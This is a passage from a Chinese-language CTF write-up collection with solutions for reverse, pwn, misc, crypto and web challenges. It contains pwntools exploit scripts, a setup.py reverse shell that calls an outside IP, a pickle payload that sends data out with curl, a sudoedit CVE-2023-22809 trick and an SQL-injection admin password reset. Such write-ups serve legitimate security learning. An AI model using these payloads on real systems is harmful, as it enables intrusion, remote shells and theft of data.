    return sub_7FA16F6F5544();

  return result;

}

不过这里有一个关键问题就是他的key和关键数据并不能通过静态分析看到,所以需要动态分析了

2.IDA动态调试(attach附加调试)

如果直接使用ida远程动调会提示错误:

Input file is a dynamic library, it cannot be run by itself.

Please specify the host application (Debugger, Process options)

在这里插入图片描述

提示这是个动态库文件,需要附加进程进行调试,那么我们可以使用IDA的附加调试功能

linux虚拟机使用root权限运行ida的linux_server64

必须使用root权限,否则后续附加调试会失败,这是由于IDA服务端的权限不够

在这里插入图片描述

运行程序

在这里插入图片描述

附加调试

Debugger>Attach to process

在这里插入图片描述

然后找到毒tea进程,双击即可

在这里插入图片描述

选择same

在这里插入图片描述

3. 输入选项进行单步调试

成功附加后会发现按f7或者f8都没反应,此时程序等待输出,先到linux虚拟机输入一个选项

如果输入1,后续调试比较难找,总之就是找到Loading字符串,注意不能跳过了

(直接搜索字符串搜索不到,这题应该是有SMC的操作对程序代码进行解密)

下方的call sun_7f006f7c2536就是主函数,跟进重新识别即可看到逻辑(这里不做详细介绍,以选项2为主)

在这里插入图片描述

如果输入2

一直按f7,最后可以发现程序会卡住,并且还能看见InputFlag字符串,这里就是主函数了

在这里插入图片描述

往上翻找到起始地址,对loc_loc_7F3BB0FB6536按p识别为函数就可以看到主函数逻辑了

在这里插入图片描述

然后还有一些没有被正确识别的函数,需要手动跟进按p识别为函数,然后回到反汇编界面按f5重新识别即可

在这里插入图片描述

key的值:

在这里插入图片描述

tea加密循环次数的值(所以这个tea循环36次而非32次):

在这里插入图片描述

加密后的data,跟进可以提取出数据

在这里插入图片描述

脚本一把梭,这里有个坑,加密轮数为36轮
#include<stdio.h>
#include<stdlib.h>
 
void encode(unsigned int *a1, unsigned int *a2)
{
  int x;
  unsigned __int64 i; // [rsp+8h] [rbp-18h]
  unsigned int v4; // [rsp+14h] [rbp-Ch]
  unsigned int v5; // [rsp+18h] [rbp-8h]
  unsigned int v6;
  int n=0;
  
  for(x=0;x<=5;x++)
  {
        v6 = *(a1+x*2);
      v5 = *(a1+x*2+1);
      v4 = 0;
      i=0;
      do
      {
          i++;
          v6 += (((v5 >> 5) ^ 16 * v5) + v5) ^ (*((v4 & 3) + a2) + v4);
          v4 -= 0x41104111;
        v5 += (((v6 >> 5) ^ 16 * v6) + v6) ^ (*(((v4 >> 11) & 3) + a2) + v4);
      }while(i<36);
      *(a1+x*2) = v6;
      *(a1+x*2+1) = v5;
//      printf("\n0x%X\n",v4);
  }
 
void decode(unsigned int *a1, unsigned int *a2)
{
  int x;
  unsigned __int64 i; // [rsp+8h] [rbp-18h]
  unsigned int v4; // [rsp+14h] [rbp-Ch]
  unsigned int v5; // [rsp+18h] [rbp-8h]
  unsigned int v6;
 
  for(x=5;x>=0;x--)
  {
        v6 = *(a1+x*2);
      v5 = *(a1+x*2+1);
      v4 = 0xD9B6D99C;
      i=0;
      do
      {
          i++;
        v5 -= (((v6 >> 5) ^ 16 * v6) + v6) ^ (*(((v4 >> 11) & 3) + a2) + v4);
        v4 += 0x41104111;
        v6 -= (((v5 >> 5) ^ 16 * v5) + v5) ^ (*((v4 & 3) + a2) + v4);
      }while(i<36);
      *(a1+x*2) = v6;
      *(a1+x*2+1) = v5;
//      printf("\n0x%X\n",v4);
  }
  
int main()
{
    unsigned int v[12]={0xECFDA301,0x61BECDF5,0xB89E6C7D,0xCE36DC68,0x4B6E539E,0x642EB504,0x54F9D33C,0x6D06E365,0xEA873D53,0xA4618507,0xD7B18E30,0xC45B4042};
    unsigned int key[4]={5,2,9,7};
    int i;
    decode(v,key);
    for(i=0;i<12;i++)
    {
        printf("%c",v[i]&0xff);
        printf("%c",(v[i]&0xff00)%0xff);
        printf("%c",(v[i]&0xff0000)%0xffff);
        printf("%c",(v[i]&0xff000000)%0xffffff);//Thisisflag{cdfec405-3f4b-457e-92fe-f6446098ee2e}
    }
    printf("\n");
    for(i=0;i<12;i++)
    {
        printf("0x%.8X ",v[i]);
    }
    printf("\n");
    
    encode(v,key);
    for(i=0;i<12;i++)
    {
        printf("0x%.8X ",v[i]);
    }
    system("pause");
    return 0;
}
 

 

sum 

是Frank出的签到题,这里贴一下出题时候的wp

题目编译选项Os,比O3轻松很多 

可以看到把矩阵所有非零位置都用 getchar() - 48读进来,并偷偷加到一个局部变量上,然后进verify()

IDA对verify()的伪代码不是很友好,用snowman或者直接看CFG会好一些,可以看出来是验证行 列 3*3 小矩阵的数独是否合法。

秒杀解法:发现这是个数独,而生成md5的输入并不是数度矩阵而是矩阵的和

所以不用解数独直接求 $9*(1+2+3+4+5+6+7+8+9)=405$,把405的md5 bbcbff5c1f1ded46c25d28119a85c6c2填进去就可以了

正常解法:


matrix选中到最后按shift+e导出之后

可以在线解一下,http://www.gpiano.com/ ,还有好多在线工具:

解密脚本:

#include<stdio.h>

int main()

{

    int sum = 0;

    unsigned char matrix[81] =

    {

        5,   3,   0,   0,   7,   0,   0,   0,   0,   6,

        0,   0,   1,   9,   5,   0,   0,   0,   0,   9,

        8,   0,   0,   0,   0,   6,   0,   8,   0,   0,

        0,   6,   0,   0,   0,   3,   4,   0,   0,   8,

        0,   3,   0,   0,   1,   7,   0,   0,   0,   2,

        0,   0,   0,   6,   0,   6,   0,   0,   0,   0,

        2,   8,   0,   0,   0,   0,   4,   1,   9,   0,

        0,   5,   0,   0,   0,   0,   8,   0,   0,   7,

        9

    };

    int grid[81] = {

    5, 3, 4, 6, 7, 8, 9, 1, 2,

    6, 7, 2, 1, 9, 5, 3, 4, 8,

    1, 9, 8, 3, 4, 2, 5, 6, 7,

    8, 5, 9, 7, 6, 1, 4, 2, 3,

    4, 2, 6, 8, 5, 3, 7, 9, 1,

    7, 1, 3, 9, 2, 4, 8, 5, 6,

    9, 6, 1, 5, 3, 7, 2, 8, 4,

    2, 8, 7, 4, 1, 9, 6, 3, 5,

    3, 4, 5, 2, 8, 6, 1, 7, 9

    };

     int len = 0;

    for (int i = 0; i < 81; i++)

    {

        if (!matrix[i])

        {

            len++;

            printf("%d", grid[i]);//输出需要填充的序列

            //468912723481342575971422657913948591537428763345261

        }

    }

    return 0;

}

得到路径:468912723481342575971422657913948591537428763345261 

linux下运行程序,输入序列:468912723481342575971422657913948591537428763345261
即可得到答案:

 

 

其他解法:线性约束,丢给Z3或者angr也能解,这里就不试了。

Pwn

easy_LzhiFTP_CHELL

开局一个格式化字符串,刚好够拿到一个地址编辑时候可以负向越界到上边的文件名bss然后再编辑内容时候就会作为指针修改,可以修改free_got为system_plt

from pwn import *

elf = ELF('easy_LzhiFTP')
free_got = elf.got['free']
system_plt = elf.plt['system']

# context.log_level = 'debug'
# p = process('easy_LzhiFTP')
p = remote("39.106.65.236", 38987)
p.sendafter(b'name', b'x')
p.sendafter(b'word', b'r')
p.sendafter(b'(yes/No)', f'No%19$p'.encode())
_ = p.recvuntil(b'No')
leak_base = int(p.recvline().strip(), 16) - 0x1d29
print(hex(leak_base))

p.sendlineafter(b'> ', b'touch ' + p64(free_got + leak_base)[:-1])
p.sendafter(b'Context:', b'***')

p.sendlineafter(b'> ', b'edit')
# gdb.attach(p)
p.sendafter(b'idx:', b'-16')
p.sendafter(b'Content: ', p64(system_plt + leak_base))

p.sendlineafter(b'> ', b'touch /bin/sh')
p.sendafter(b'Context:', b'/bin/sh')
p.sendlineafter(b'> ', b'del')
p.sendafter(b'idx:', b'1')
p.interactive()

babygame

预测随机数可以搞一堆钱,然后可以把字符长度拉满使用道具刚好够探到返回地址,可以完整覆盖提前多次布局好栈上变量(悬垂)然后一次覆盖完成ret2scsc在格式化字符串的地方,因为格式化字符串在bss上所以不太有用,就只存sc了 sc用alpha3编码

from pwn import *
from ctypes import CDLL

# p = process("./pwn")
p = remote("47.94.224.3", 16637)
context.log_level = 'debug'
p.sendlineafter(b">> ", b"1")
p.sendlineafter(b"level : ", b"4")
for _ in range(50):
   libc = CDLL('/lib/x86_64-linux-gnu/libm.so.6')
   libc.srand(libc.time())
   r = ""
   for i in range(4):
       r += "abcdefghijklmnopqrstuvwxyzA"[libc.rand() % 26]
   p.sendlineafter(b"Give me : ", r.encode())
   if b'MD5' not in p.recvline():
       p.sendlineafter(b">> ", b"1")
       p.sendlineafter(b"level : ", b"4")

p.sendlineafter(b"Give me : ", b'f**k you')
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"need :", b"512")


def fmt_str(fmt):
   p.sendlineafter(b">> ", b"2")
   p.sendlineafter(b">> ", b"1")
   p.sendlineafter(b"you want to purchase", fmt)

   p.sendlineafter(b">> ", b"2")
   p.sendlineafter(b">> ", b"4")
   return p.recvuntil(b"Backpack size ")[1:-len(b"Backpack size ")]


sh = b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t" \
    b"0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

p.sendlineafter(b">> ", b"2")
p.sendlineafter(b">> ", b"1")
payload = b'B???' + b'D0?1' + b'D0?3' + b'D0?4' + b'D0?5' + b'D0?6' + b'D0?7' \
         + b'A0?2' + b'D0?2' + b'A0?g' + b'D0?0' + b'Co?0'
p.sendlineafter(b"you want to purchase", payload + sh)

p.sendlineafter(b">> ", b"2")
p.sendlineafter(b">> ", b"3")
p.interactive()
p.close()

sigin_shellcode

没起mips环境,用中国剩余定理&z3解了下第一个随机数是47429,然后下100层刚好够买满道具sc长度只有四个指令,MIPS是定长所以还比较好改,后两条固定是li $v0, 4011syscall 0x40404前两条用于清空 $a1 和 $a2,然后第一条是li $a1, 0x0,第二条是板子上清空 a2的避免空字节,因为是小端所以第一条刚好截断黑名单,带上程序里已经初始化到 a0 的 /bin/sh 就可以了

from pwn import *

context.log_level = 'debug'
rand = 47429

p = remote("47.94.224.3", 26185)

for i in range(99):
   print(i, end=" ")
   p.sendlineafter(b'Go> ', b'1')
   p.sendlineafter(b'you want?\n', str(47429 % (i + 1)).encode())

p.sendlineafter(b'Go> ', b'3')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Go> ', b'3')
p.sendlineafter(b'> ', b'2')

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'you want?\n', b'29')

sc = b"\xff\xff\x06\x28" + \
    b"\xab\x0f\x02\x24" + \
    b"\x0c\x01\x01\x01"
p.sendlineafter(b'> ', b"\x00\x00\x05\x28" + sc)
p.sendline(b'ls')
p.sendline(b'cat flag')
p.interactive()

p2048 

是frank出的题,同样贴一下出题时候的wp:

炫酷的2048小游戏

游戏的逻辑是玩出2048给shell:

玩到2048也是可以的。

game有一处溢出,可以控制返回地址

看起来保护全开,但仔细看game并没有canary(上图):

而game是main调用的,高地址放的是main的真实地址,因为页0x1000对齐,低12位不会被随机化,所以只需要爆破4位(约1/16)的概率就可以跳到程序的任何地方:

这里直接跳到win

from pwn import *

for _ in range(64):
   p=remote("xx", xxxx)
   p.send(b'a' * (0x418+4) + b'\xbd\x0eqy')
   try:
       p.sendline(b'echo pwned!\ncat /flag\n' * 10)
       p.recvuntil(b'pwned!\n')
       p.interactive()
   except:
       p.close()

Misc

签到

题目描述:题目内容:因为疫情,有多久没听到上课铃声了。
(如果你还不知道怎么签到,关注“春秋伽玛”公众号,回复“上课铃声”可以拿到进一步提示)
关注公众号回复上课铃声得到
照着按就完了
最终按对会出个弹框跳转到有flag的页面
flag{27033a89-55dd-46dc-82b9-cd89a4da957d}
 

iger

从中可以发现因此:
ag2a`f76 是 rot47 加密,解密为:28a217fe
rot47解密
PNG 图片是 LSB 加密lsb解密工具
解密得到 where.zip 的压缩包解压密码:71zr9H6jnXRHn64WBxMbCzz16saCZWiw
使用 key.zip 对 flag.zip 进行明文攻击得到 flag.zip 的解压密码:Nh6i@= 得到 flag 文件,通过 010Editor 得知这是 PNG 图片。
在这里插入图片描述
发现是png
得到二维码,使用 bcTester 扫描,将 Hex 导入 010Editor或者winhex 得到零宽字节隐写加密后的文本文档。
复制16进制到winhex
在这里插入图片描述
这样子就是好了另存为然后保存打开txt有英文
解零宽字节得到一串字符。
在线0宽解密
 
Owl wvn n xhkm SBWav krttqbu gfq gja jhheu up yljycxjpu, vvtx R jzeh pydv usd zp lalhmk, ic brtkac ya whep{866q3755-t358-5119-txnr-juw666e8099m}, uroa okv!
 
然后维吉尼亚密码翻译 
在线维吉尼亚翻译
flag{866q3755-t358-5119-txnr-juw666e8099d}
 

58与64 

文档内的先base58解密,在拼接解密base64

base58_chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'

base58_vals = {c: v for v, c in enumerate(base58_chars)}

 

def decode_base58(enc):

    num = 0

    for c in enc:

        num *= 58

        num += base58_vals[c]

    return num.to_bytes((num.bit_length() + 7) // 8, 'big')

 

for i in range(14268):

    with open(f"./tmp_dc7fe258d0d39f50f605eb64cc8189eb-1/{i}.txt", "r") as f:

        data = f.read().splitlines()

        dec = decode_base58(data[0])

        print(dec)

        with open('flag.txt',"a") as f:

            f.write(dec.decode())

 

import base64

with open('flag.txt', 'r') as f:

    data = f.read()

def decode(data):

    try:

        dec = base64.b64decode(data)

        print(f'解密后:{dec}')

        decode(dec)

    except Exception:

        pass

decode(data)

或者

from base58 import b58decode

from tqdm import trange

 

c = ''

for i in trange(14268):

    f = open(f'./tmp/{i}.txt').read()

    data = b58decode(f).decode()

    c = c + data

 

from base64 import b64decode

while True:

    try:

        c = b64decode(c)

        print(c)

    except:

        exit()


happy2forensics 

导出http:

在这里插入图片描述

改为压缩包得到:

在这里插入图片描述

取证大师加载一下发现BitLocker解密:

在这里插入图片描述

根据提示找到tcp.srcport == 20 && tcp.dstport == 80

在这里插入图片描述

提取出来得到:bitlocker:120483-350966-299189-055297-225478-133463-431684-359403

 

大文件压缩包 导出看看

 

 

刚才的密钥恢复挂载

 

 

有好多图片,取证大师试用无法一次性全部提取,发现有一个图片很大,提取出来

 

除了图片外还有两个异常文件

 

在这里插入图片描述

在这里插入图片描述

 foremost分离210-1.png文件,得到一张jpg和很多png文件

img

发现jpg文件有两个jpg头,删掉前面一个jpg头得到第一个flag

 

 

Flag1:f97d5b05-d312-46ac

 

 

使用magick montage接分离的很多png文件一下,得到一串password

在这里插入图片描述

猜测是password:856a-a56b6a705653

 

 用DiskGenius文件挂载找到可疑压缩包,得到flag2.txt

用得到的password去解压缩包得到flag2

 

 

flag2:-919c-a140d7054ac5

拼接一下flag{f97d5b05-d312-46ac-919c-a140d7054ac5}

 

sudo

 

先ssh连上去,可以看到linux的基本信息:

image
根据题目描述和内核相关信息搜索到CVE-2023-22809:

image
学习该漏洞原理,发现可通过export EDITOR="nano -- /flag"把读取flag的命令设置为环境变量,然后再sudoedit /etc/GAMELAB编辑即可触发命令读取flag。

image

 

盲人隐藏了起来

补文件头得压缩包密码

 

 

 图片尾部有个key

 

 

Keyischunqiu123

 

Zsteg查看一下:

 

 

发现了个ag{,提取一下看看

 

 

 

*Crypto Tips/Tools – AACC CYBER COMPETITION PRACTICE

搜索到Steg的tools

 

 

piphack

参考文章进行复现,本题rce的主要原理就是pip在下载包以后,会自动进行解压然后执行setup.py文件,那么可以人为构造一个带有恶意代码的setup.py文件,然后把该文件压缩,和png图片合在一起上传至公网图床,当执行pip install 图片url,就会触发恶意代码了。setup.py写了个反弹shell的操作:

__import__('os').system("bash -c 'bash -i >& /dev/tcp/1.12.48.9/2333 0>&1'")

在执行的时候发现server过滤了http,因此用大写绕过:Https://c.img.dasctf.com/images/2023514/1684037118602-9b7fd9a9-848f-4e76-a6cb-989296335f27.png
反弹的shell:

image

或者构造恶意的包,让它去下载反弹shell

from setuptools import setup

 

import socket,subprocess,os

 

def shell():

 

 import socket, time,pty, os

 

 host=''#自己添加

 

 port=   #自己添加

 

 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

 

 s.settimeout(10)

 

 s.connect((host,port))

 

 os.dup2(s.fileno(),0)

 

 os.dup2(s.fileno(),1)

 

 os.dup2(s.fileno(),2)

 

 os.putenv("HISTFILE",'/dev/null')

 

 pty.spawn("/bin/bash")

 

 s.close()

 

shell()

 

 

setup(name="root", version="1.0")

 

压缩之后改成png格式,然后h->H绕过过滤,监听端口pip传该地址,下载这个png

反弹到shell得到flag
在这里插入图片描述

 

 

 

 

wordle

 

wordle求解器,一轮就能拿到flag:

image

 

 

Crypyo

checkin

首先要求解x和y,不难看出是佩尔方程,这部分可以用以下脚本求解:

def solve_pell(N, numTry = 100):

    a=[]

    b=[]

    cf = continued_fraction(sqrt(N))

    for i in range(numTry):

        denom = cf.denominator(i)

        numer = cf.numerator(i)

        if numer^2 - N * denom^2 == 1:

            a.append(numer)

            b.append(denom)

    return a,b

 

N = 1117

a,b=solve_pell(N)

print(b)

或者

def pell (N , numTry = 500):

    sols = []

    cf = continued_fraction ( sqrt ( N ))

    for i in range ( numTry ):

        denom = cf . denominator ( i )

        numer = cf . numerator ( i )

        if numer ^2 - N * denom ^2 == 1:

            sols.append((ZZ(numer) , ZZ(denom)))

    return sols

D = 1117

r = pell(D)

 

 

直接使用二项式展开定理即可还原flag

n = 14381700422128582509148801752355744589949207890477326887251636389639477554903212313766087310581920423926674144511237847467160303159477932732842314969782540035709454603184976310835433114879043016737665256729350745769071186849072915716081380191025215059636548339167264601163525017898164466972776553148697204889820118261937316228241099344357088387154112255824092894798716597134811437852876763391697588672779069166285303075312833415574850549277205130215394422655325352478386576833373623679069271857652029364332047485797407322257853316210866532938722911480593571175419708834718860211036796987231227104370259051299799633809

enc1 = 7213976567554002619445032200800186986758840297933991288547009708561953107405266725278346810536664670987171549114913443730366439254199110599202411546254632702440251000149674899033994570393935743323319736976929843596350656674709510612789987746895513057821629144725499933366382123251520676386059405796801097683107223771674383940907066300331503757142088898427893069444164604408189686282018392714450005250018004986102062209998463347007934222341910941474212611569508001910685822097788669516018081617394144015000387497289693096617795809933540456797387940627782045397249431573540932386564021712811633992948508497879189416719996092292320828635490820907122756459412206735413770335545012892724496210585503157766011075566023635046144730429791359690237088629187946232458937292767085665897489251315749496284368726255508362410603108788759785472319449267909859926786774679533591222665476101832482161295321411313525830843915966136814748249906589458905410141906965538387896747375546846618213595165688661941876715858338407833641907024891922856719044736945863722003318526031957256722493189062624177017279248142024760515092698242159769372410662895078523142768353100643884341413944795392762315999109544070401451087596138520908569234305384182336436670714204963907240715652950621301644972412252424876159530992

enc2 = 15954854445966181136742750543358176358186230663706091821454832527034640100670779737656720251005109942306013877086451482243141488450122353285697850016200364912263403464109626937525725210545566742746628476797261121321515812788726862118315480354196115424526212965145342675007815411995594752584377871686965531829990461770047418586001518916553661158567047779694730702789677326905844275827365395845945286695577426050334364557405151339008293258932006267159313380746863008928500607405457044370494583863960981060999695448408234857505591647503423149271589648863473472196402149897680041851877198062464480400493467334040101779732999029043327947071232256187123316057998759518569161852646625701393295408789279678540894319137126821001853808931387200759810381958895695749251834840804088478214013923869059004663359509316215974475427057000629842098545503905230785431115754636129549758888267877395566717448365986552725726428222769339088308242580851434964429627168365161743834285778996916154182286570122208454025753108647581888781783757375011437394936853319184725324597963035778640646869326035848170752766298225095197226934969602554875402243303906613183431896300664684256018886119255870435413622515792072064528098344111446380223430819596310173312668368618931885819458529703118195242890075359424013033800260927722161030183373647798407301688760998313223874318513944409702828538509864933624724225689414495687466779277994989628367119101

D = 1117

x = 87897747594260774254246835664214545379849

y = 2629972211566463612149241455626172190220

p=(enc1-1)//(233*n**2)

enc2=enc2%(n**2)

p1=(enc2-1)//(y*n)

from Crypto.Util.number import *

print(long_to_bytes(p)+long_to_bytes(p1))

或者

for x,y in r:

    m1 = long_to_bytes(int(enc1 // (233*n**2)))

    m2 = long_to_bytes(int(enc2%(n^2)//n //y))

    flag = (m1+m2).decode()

    if 'flag' in flag:

        print(flag)

        break

 

backdoor

可以直接将z表示出来然后就能求解key了

from Crypto.Util.number import *

from Crypto.Util.Padding import pad

from random import randint

from Crypto.Util.strxor import strxor

from Crypto.Cipher import AES

from hashlib import sha256

from hashlib import md5

(w,a,b,x)=(31889563, 31153, 28517, 763220531)

(A,B,P)=(1064988096, 802063264240, 12565302212045582769124388577074506881895777499095598016237085270545754804754108580101112266821575105979557524040668050927829331647411956215940656838233527)

G=(359297413048687497387015267480858122712978942384458634636826020013871463646849523577260820163767471924019580831592309960165276513810592046624940283279131, 9290586933629395882565073588501573863992359052743649536992808088692463307334265060644810911389976524008568647496608901222631270760608733724291675910247770)

M1=(10930305358553250299911486296334290816447877698513318419802777123689138630792465404548228252534960885714060411282825155604339364568677765849414624286307139, 7974701243567912294657709972665114029771010872297725947444110914737157017082782484356147938296124777392629435915168481799494053881335678760116023075462921)

M2=(497353451039150377961380023736260648366248764299414896780530627602565037872686230259859191906258041016214805015473019277626331812412272940029276101709693, 8439756863534455395772111050047162924667310322829095861192323688205133726655589045018003963413676473738236408975953021037765999542116607686218566948766462)

B_=(5516900502352630982628557924432908395278078868116449817099410694627060720635892997830736032175084336697081211958825053352950153336574705799801251193930256, 10314456103976125214338213393161012551632498638755274752918126246399488480437083278584365543698685202192543021224052941574332651066234126608624976216302370)

c=b'\x1a\xfb\xa2\xe1\x86\x04\xfak\x9a\xa3\xd15\xb8\x16\x1d\xbc\xa9S\xf5;\xfa\xf1\x08dn~\xd4\x94\xa4;^*\xf6\xd7\xf10\xa3\xe1k`\x1f-\xef\x80\x16\x80\x80\xe2'

E = EllipticCurve(GF(P), [A, B])

G=E(G)

M1=E(M1)

M2=E(M2)

B_=E(B_)

z=M1-w*G-a*x*M1-x*b*G

k2 = sha256(str(z[0]).encode()).digest()[:6]

k2 = bytes_to_long(k2)

shared_key2 = k2 * B_

key = md5(str(int(shared_key2[0])).encode()).digest()

cipher = AES.new(key, AES.MODE_ECB)

ct = cipher.decrypt(c)

print(ct)

或者

from Crypto.Util.number import *

from hashlib import *

from Crypto.Cipher import *

 

w,a,b,x = (31889563, 31153, 28517, 763220531)

A,B,P = (1064988096, 802063264240, 12565302212045582769124388577074506881895777499095598016237085270545754804754108580101112266821575105979557524040668050927829331647411956215940656838233527)

G = (359297413048687497387015267480858122712978942384458634636826020013871463646849523577260820163767471924019580831592309960165276513810592046624940283279131, 9290586933629395882565073588501573863992359052743649536992808088692463307334265060644810911389976524008568647496608901222631270760608733724291675910247770)

M1 = (10930305358553250299911486296334290816447877698513318419802777123689138630792465404548228252534960885714060411282825155604339364568677765849414624286307139, 7974701243567912294657709972665114029771010872297725947444110914737157017082782484356147938296124777392629435915168481799494053881335678760116023075462921)

M2 = (497353451039150377961380023736260648366248764299414896780530627602565037872686230259859191906258041016214805015473019277626331812412272940029276101709693, 8439756863534455395772111050047162924667310322829095861192323688205133726655589045018003963413676473738236408975953021037765999542116607686218566948766462)

B_ = (5516900502352630982628557924432908395278078868116449817099410694627060720635892997830736032175084336697081211958825053352950153336574705799801251193930256, 10314456103976125214338213393161012551632498638755274752918126246399488480437083278584365543698685202192543021224052941574332651066234126608624976216302370)

c = b'\x1a\xfb\xa2\xe1\x86\x04\xfak\x9a\xa3\xd15\xb8\x16\x1d\xbc\xa9S\xf5;\xfa\xf1\x08dn~\xd4\x94\xa4;^*\xf6\xd7\xf10\xa3\xe1k`\x1f-\xef\x80\x16\x80\x80\xe2'

 

F = GF(P)

E = EllipticCurve(F, [A, B])

G = E(G)

M1 = E(M1)

 

M2 = E(M2)

B_ = E(B_)

 

r = a * M1 + b * G

z1 = M1 + (- x) * r

h1 = bytes_to_long(sha256(str(z1[0]).encode()).digest()[:6])

 

z2 = z1 + (-w) * G

h2 = bytes_to_long(sha256(str(z2[0]).encode()).digest()[:6])

if h2 * G == M2:

    k2 = h2

    print(k2)

 

key = k2 * B_

key = md5(str(int(key[0])).encode()).digest()

cipher = AES.new(key, AES.MODE_ECB)

flag = cipher.decrypt(c)

print(flag)

 

ecdsa 

已知曲线是SECP256k1,那么曲线生成元,阶,哈希算法等都是已知的。

根据题目所给信息有:

import ecdsa
from Crypto.Util.number import *
from hashlib import *
from Crypto.Util.strxor import strxor as xor
 
q = ecdsa.SECP256k1.generator.order()
m1 = b'This is the first message.'
m2 = b'Here is another message.'
h1 = bytes_to_long(sha1(m1).digest())
h2 = bytes_to_long(sha1(m2).digest())
sig1 = '3f4a6f288e35a4397201d246a98c1f9cfa463e67717fbbdcbd26d7fac75f875855455c2bfb355f7f593ffbe4c4bd1fc729cc129976b56905639100c8ac716b37'
sig2 = '9f563b21f0ee31b2f7a1a8c6edc8ff23b63e0a9d5dd4a699ecc3164871b4982df51bb2feb4bc06c578afd21d3e6227231dd5fe1d8440f3dcd025fd3ea68f5516'
r1 = bytes.fromhex(sig1[:64])
s1 = bytes.fromhex(sig1[64:])
r2 = bytes.fromhex(sig2[:64])
s2 =  bytes.fromhex(sig2[64:])
r1 = bytes_to_long(r1)
r2 = bytes_to_long(r2)
s1 = bytes_to_long(s1)
s2 = bytes_to_long(s2)
 
s1_ = inverse(s1,q)
s2_ = inverse(s2,q)
k = (r1*s1_ - r2*s2_)
enc = 'cc66d251bfa54954890c81dc1c607bae716573949f327db18aa1f4c0f420b8d29dc7e7ff9edb17b90306bd2aa753fc3fd4dafb9cc4b771cbdd79000ef05a40c0'
enc = bytes.fromhex(enc)
for e in range(-2**16,2**16):
    # mod q
    x = (e+h2*s2_ - h1*s1_) * inverse(k,q) % q
    key = long_to_bytes(x)
    m = xor(sha512(key).digest(), enc)
    if b'flag' in m:
        print(m)
        break
 
# b'flag{2f64731e-785b-4259-4566-3d17554bfb7b}\xed\x98\x98\xbc\x92+\xc7\x7f\xe2_\xfd\x17\x1e\x9c\xf7\x17Rq\xfa3\xa2{'
由于差值比较小,也可以利用这个小值来构造格求解,具体方案类似hnp

 

Cisticola 

题目在模p的域下建立多项式Q,y,r,问题抽象为r = y % Q,r = hint,y的次数已知,目标是求y的系数。假设y的系数为k,则r = k.X % Q,X_ = X % Q可以先算出来,目的是把X转换为比Q小的式子,即项数为430的式子。下一步利用r和X_的系数解矩阵方程即可

from Crypto.Cipher import AES

from Crypto.Util.number import *

 

enc = 'e086deeb9f060c014867c5adbd1ee1b449193b6e6177f58a36948282e1728f3b529b2def3c39f69c7a9001b4cac4d1d5'

pos = [477, 491, 210, 515, 150, 142, 561, 5, 475, 329, 598, 274, 241, 310, 108, 483, 181, 600]

 

p = 1439830214451992034013504859825496348425599138552815552028441481225682951310010651304957987750558339128649248859043607574873717185051113737355019502086518775325158336557488060325293103679742942484012852921804371007968007851081933599

R.<x> = PolynomialRing(GF(p))

hint = 

Q = R(Q)

h = (R(hint)%Q).coefficients()

A = []

for i in pos:

    tmp = ((x ^ i) % Q).coefficients()

    if len(tmp) == 1:

        a = [0] * i

        b = [0] * (429 - i)

        tmp = a + tmp + b

    A.append(tmp)

 

M = matrix(Zmod(p),A)

h = vector(h)

print(len(h))

print(M.solve_left(h))

# 275609957223526193497841020687316070508

key = 275609957223526193497841020687316070508

key = long_to_bytes(key)

cipher = AES.new(key=key, iv=bytes(range(16)), mode=AES.MODE_CBC)

print(cipher.decrypt(bytes.fromhex(enc)))

二项定理模掉高阶项, 就有前半段了 后半段先解一个佩尔方程,然后一元二次方程。

import gmpy2
from gmpy2 import *

n = ...
enc1 = ...
enc2 = ...

x = 87897747594260774254246835664214545379849
y = 2629972211566463612149241455626172190220
ax = y * n
c = -2 * (enc2 - 2)

gmpy2.get_context().precision = 1000
a = ax * ax
b = (2 * ax - ax * ax)
solve = -b + int(sqrt(b * b - 4 * a * c))
solve = solve // (2 * a)
print(bytes.fromhex(hex((enc1 - 1) // (233 * n ** 2))[2:]) + bytes.fromhex(hex(solve)[2:]))

magic_dlp 

把ECDH里边的部分手动算出来就有私钥了...

 

 

Web 

phpstudy 

 

1day,一个SQL注入改管理员的密码。

添加请求头:X-Requested-With: XMLHttpRequest绕过随机码验证,并对其进行sql语句更新管理员密码,登陆到后台

payload:

admin' ;UPDATE ADMINS set PASSWORD ='c26be8aaf53b15054896983b43eb6a65';--

admin/123456

然后计划任务执行读取flag(计划任务执行cat /f*)或者反弹shell即可

 

 

 

 

 

easypy

Dir扫目录,有个download路由,下载源码

 

 

被删了,有个pyc反编译一下得到源码

# uncompyle6 version 3.9.0

# Python bytecode version base 3.8.0 (3413)

# Decompiled from: Python 3.9.11 (tags/v3.9.11:2de452f, Mar 16 2022, 14:33:45) [MSC v.1929 64 bit (AMD64)]

# Embedded file name: app.py

# Compiled at: 2023-04-16 23:41:59

# Size of source mod 2**32: 1030 bytes

import numpy, base64

from flask import Flask, Response, request

app = Flask(__name__)

 

@app.route('/', methods=['GET', 'POST'])

def index():

    return '小p想要找一个女朋友,你能帮他找找看么?'

 

 

@app.route('/girlfriends', methods=['GET', 'POST'])

def girlfriends():

    if request.values.get('data'):

        data = request.values.get('data')

        numpydata = base64.b64decode(data)

        if b'R' in numpydata or b'bash' in numpydata or b'sh' in numpydata:

            return '不能走捷径啊'

        resp = numpy.loads(numpydata)

        return '可以的,要的就是一种感觉'

    return '有进步了,但是不多'

 

 

@app.route('/download', methods=['GET', 'POST'])

def download():

    with open('www.zip', 'rb') as (f):

        stream = f.read()

    response = Response(stream, content_type='application/octet-stream')

    response.headers['Content-disposition'] = 'attachment;filename=www.zip'

    return response

 

 

if __name__ == '__main__':

    app.run(host='0.0.0.0', port=80)

过滤了R,sh,bash,利用点是resp = numpy.loads(numpydata)

在numpy.loads存在pickle反序列化漏洞,过滤了R指令,直接用i指令绕过。

调用os.system,然后curl外带flag。

import base64

 

data=b'''(S'curl vps:port/`cat /f*`'

ios

system

.'''

print(base64.b64encode(data))

 

 

call 

软连接可以做到任意文件读,但按题意好像要做到任意文件写,可目录又不在一个地方,蹲题解()

ezrust

